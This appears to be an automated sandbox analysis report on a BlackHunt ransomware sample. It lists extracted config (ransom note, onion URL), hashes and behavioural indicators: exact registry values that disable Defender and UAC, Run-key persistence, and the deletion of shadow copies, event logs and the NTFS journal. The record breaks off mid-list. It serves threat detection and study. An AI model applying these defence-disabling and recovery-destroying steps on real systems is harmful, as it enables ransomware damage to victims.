Analysis
-
max time kernel
145s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
01-02-2024 07:25
Static task
static1
Behavioral task
behavioral1
Sample
35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe
Resource
win10v2004-20231222-en
General
-
Target
35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe
-
Size
707KB
-
MD5
2fdab89b4bbc99d46616896e0df66065
-
SHA1
e29146356f3141c323ff3435d3bfd4e284c8c15b
-
SHA256
35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202
-
SHA512
72558eff3211e2641a7ff387f3b8e62d6da90dd134f5a8a2106ff75c2ded5549dbe285ee9b591df41d50f116e325eb562d3da3a54767d119ccdc11e6225b7410
-
SSDEEP
6144:kcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1f8Svnh:WuaTmkZJ+naie5OTamgEoKxLWu8h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 6256 fsutil.exe 11756 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 11012 wevtutil.exe 11112 wevtutil.exe 1480 wevtutil.exe 4324 wevtutil.exe 11288 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 6236 bcdedit.exe 5832 bcdedit.exe 11704 bcdedit.exe 11880 bcdedit.exe -
Renames multiple (3383) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 6244 wbadmin.exe 2456 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Y: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\G: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\L: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\K: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\B: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\U: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\P: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\S: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\T: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\X: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\Q: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\Z: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\N: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\A: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\J: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\E: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\H: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\V: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\M: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\R: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\I: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened (read-only) \??\O: 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\selector.js 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\cue.luac 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\eu-es\ui-strings.js 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\win\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\de-de\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hr-hr\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\root\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\dc-annotations\css\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nb-no\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files\VideoLAN\VLC\locale\hu\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_filterselected-focus_32.svg 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\cs-cz\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\sk-sk\ui-strings.js 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\da-dk\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\AppStore_icon.svg 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\da-dk\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ko-kr\#BlackHunt_Private.key 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#BlackHunt_Private.key 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\core\dev\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\#BlackHunt_Private.key 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\eu-es\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\#BlackHunt_Private.key 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\psfontj2d.properties 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files\VideoLAN\VLC\plugins\gui\#BlackHunt_Private.key 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\tr-tr\#BlackHunt_Private.key 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pl-pl\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\dumpmeta.luac 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\de-de\#BlackHunt_Private.key 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jsse.jar 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons.png 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ro-ro\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\tool\plugin.js 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\en-gb\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\example_icons.png 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen.svg 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_Private.key 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ro-ro\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ar-ae\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\pt-br\ui-strings.js 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_CopyDrop32x32.gif 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\zh-cn\#BlackHunt_Private.key 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\#BlackHunt_Private.key 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\ca-es\ui-strings.js 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sl-sl\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\icu.md 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\Close.png 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ru-ru\#BlackHunt_ReadMe.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\uk-ua\ui-strings.js 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\javafx\jpeg_fx.md 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files\VideoLAN\VLC\plugins\access\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files\7-Zip\Lang\mn.txt 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\root\ui-strings.js 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hr-hr\#BlackHunt_ReadMe.hta 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 12704 13652 WerFault.exe 292 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 7240 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 400 vssadmin.exe 9116 vssadmin.exe 7032 vssadmin.exe 8716 vssadmin.exe 8724 vssadmin.exe 13000 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 13580 taskkill.exe -
Modifies registry class 9 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings cmd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 16804 PING.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe Token: SeRestorePrivilege 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe Token: SeBackupPrivilege 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe Token: SeTakeOwnershipPrivilege 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe Token: SeAuditPrivilege 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe Token: SeSecurityPrivilege 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe Token: SeIncBasePriorityPrivilege 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe Token: SeBackupPrivilege 9308 vssvc.exe Token: SeRestorePrivilege 9308 vssvc.exe Token: SeAuditPrivilege 9308 vssvc.exe Token: SeBackupPrivilege 5804 wbengine.exe Token: SeRestorePrivilege 5804 wbengine.exe Token: SeSecurityPrivilege 5804 wbengine.exe Token: SeSecurityPrivilege 11012 wevtutil.exe Token: SeBackupPrivilege 11012 wevtutil.exe Token: SeSecurityPrivilege 11112 wevtutil.exe Token: SeBackupPrivilege 11112 wevtutil.exe Token: SeSecurityPrivilege 1480 wevtutil.exe Token: SeBackupPrivilege 1480 wevtutil.exe Token: SeSecurityPrivilege 4324 wevtutil.exe Token: SeBackupPrivilege 4324 wevtutil.exe Token: SeSecurityPrivilege 11288 wevtutil.exe Token: SeBackupPrivilege 11288 wevtutil.exe Token: SeDebugPrivilege 13580 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4972 wrote to memory of 4364 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 90 PID 4972 wrote to memory of 4364 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 90 PID 4972 wrote to memory of 4692 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 92 PID 4972 wrote to memory of 4692 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 92 PID 4972 wrote to memory of 3908 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 94 PID 4972 wrote to memory of 3908 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 94 PID 4972 wrote to memory of 1452 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 96 PID 4972 wrote to memory of 1452 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 96 PID 4972 wrote to memory of 4368 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 98 PID 4972 wrote to memory of 4368 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 98 PID 4364 wrote to memory of 3872 4364 cmd.exe 100 PID 4364 wrote to memory of 3872 4364 cmd.exe 100 PID 4692 wrote to memory of 2384 4692 cmd.exe 101 PID 4692 wrote to memory of 2384 4692 cmd.exe 101 PID 3908 wrote to memory of 3808 3908 cmd.exe 102 PID 3908 wrote to memory of 3808 3908 cmd.exe 102 PID 4972 wrote to memory of 4464 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 178 PID 4972 wrote to memory of 4464 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 178 PID 1452 wrote to memory of 4040 1452 cmd.exe 105 PID 1452 wrote to memory of 4040 1452 cmd.exe 105 PID 4972 wrote to memory of 1144 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 107 PID 4972 wrote to memory of 1144 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 107 PID 4368 wrote to memory of 4500 4368 cmd.exe 108 PID 4368 wrote to memory of 4500 4368 cmd.exe 108 PID 4972 wrote to memory of 212 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 109 PID 4972 wrote to memory of 212 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 109 PID 4464 wrote to memory of 2660 4464 Conhost.exe 111 PID 4464 wrote to memory of 2660 4464 Conhost.exe 111 PID 4972 wrote to memory of 2520 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 112 PID 4972 wrote to memory of 2520 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 112 PID 1144 wrote to memory of 4148 1144 cmd.exe 114 PID 1144 wrote to memory of 4148 1144 cmd.exe 114 PID 4972 wrote to memory of 2128 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 115 PID 4972 wrote to memory of 2128 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 115 PID 4972 wrote to memory of 4668 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 118 PID 4972 wrote to memory of 4668 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 118 PID 212 wrote to memory of 408 212 cmd.exe 117 PID 212 wrote to memory of 408 212 cmd.exe 117 PID 4972 wrote to memory of 4100 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 121 PID 4972 wrote to memory of 4100 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 121 PID 4972 wrote to memory of 4888 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 120 PID 4972 wrote to memory of 4888 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 120 PID 4972 wrote to memory of 4384 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 124 PID 4972 wrote to memory of 4384 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 124 PID 2520 wrote to memory of 3656 2520 cmd.exe 126 PID 2520 wrote to memory of 3656 2520 